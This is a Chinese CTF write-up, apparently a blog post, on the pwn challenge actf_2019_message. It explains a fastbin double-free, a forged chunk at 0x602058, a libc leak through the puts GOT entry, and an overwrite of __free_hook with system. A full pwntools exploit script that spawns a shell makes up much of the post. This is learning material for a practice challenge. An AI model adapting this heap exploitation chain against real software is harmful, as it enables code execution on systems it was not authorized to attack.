Pwn actf_2019_message:fastbin double free 做法

下载 exeinfo checksec:

64位 IDA64 mian函数:

将函数功能标记后:

是一个堆题

观察到在释放堆的函数里,没有将指针清零:

想到有double free 漏洞

free时的ptr变量在0x602060的位置 

如果double free之后 再申请一个大小相同的堆 ptr所在的位置往前移8字节(0x602058) 假设以此处为假chunk头

那么ptr就是该chunk对应的内容 

再通过给出的函数就能修改假chunk的内容

图示:

----------------------------------

0x602058       

假chunk的prev_size

0x602060        

假chunk的size

0x602068

假chunk的内容区域

...

----------------------------------

同时 看到程序开启了FULL RELRO GOT表不可写

所以使用 __free_hook 

利用freehook不为空的时候会执行freehook的原理

将其指向system 在free时就会执行system()

创建两个0x20的堆 gdb调试一下:

看到实际大小是0x30  

如果需要绕过fastbin对两次free的检查 就需要提前再设置一个0x30大小的堆 来让接下来的创建堆能顺利创建到假chunk的位置

那么接下来就是泄露got地址 得到libc基址 得到freehook地址 再让freehook指向system(先将chunk6改为freehook地址 再利用chunk0 改为system)

exp:

from pwn import *
from LibcSearcher import *

p = process('./message')
#p = remote("node5.buuoj.cn", 28538)
elf = ELF('./message')
context.log_level = 'debug'

def add(size, message):
    p.sendlineafter(b"choice: ", b'1')
    p.sendlineafter(b'message:\n', str(size))
    p.sendafter(b'message:\n' , message)

def delete(index):
    p.sendlineafter(b'choice: ' , b'2')
    p.sendlineafter(b'delete:\n' , str(index))

def edit(index,message):
    p.sendlineafter(b'choice: ' , b'3')
    p.sendlineafter(b'edit:\n' , str(index))
    p.sendafter(b'message:\n' , message)

def show(index):
    p.sendlineafter(b'choice: ' , b'4')
    p.sendlineafter(b'display:\n' , str(index))

add(0x30, b'aaaa') #chunk0
add(0x20, b'aaaa') #chunk1
add(0x20, b'aaaa') #chunk2

#gdb.attach(p)
#pause()

delete(1)
delete(2)
delete(1)

puts_got = elf.got['puts']

fake = 0x602060 - 0x8
add(0x20, p64(fake))  #chunk3 -> 1
add(0x20, b'bbbb')    #chunk4 -> 2
add(0x20, b'cccc')    #chunk5 -> 1
add(0x20, p64(puts_got))    #chunk6 -> fake

show(0)
p.recvuntil(b'message: ')
puts = u64(p.recv(6).ljust(8,b'\0'))
print(hex(puts))

#libc = ELF('./libc-2.23.so')
#base = puts - libc.symbols['puts']
#system = base + libc.symbols['system']
#free_hook = base + libc.symbols['__free_hook']

libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')

edit(6, p64(free_hook))
edit(0, p64(system))
add(0x8, b'/bin/sh\x00') #chunk7
delete(7)

p.interactive()




由于线上版本是2.27的libc 所以用2.23的libc版本本地运行 得到flag:

看了很久的相关视频 恐怕还没彻底搞明白。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值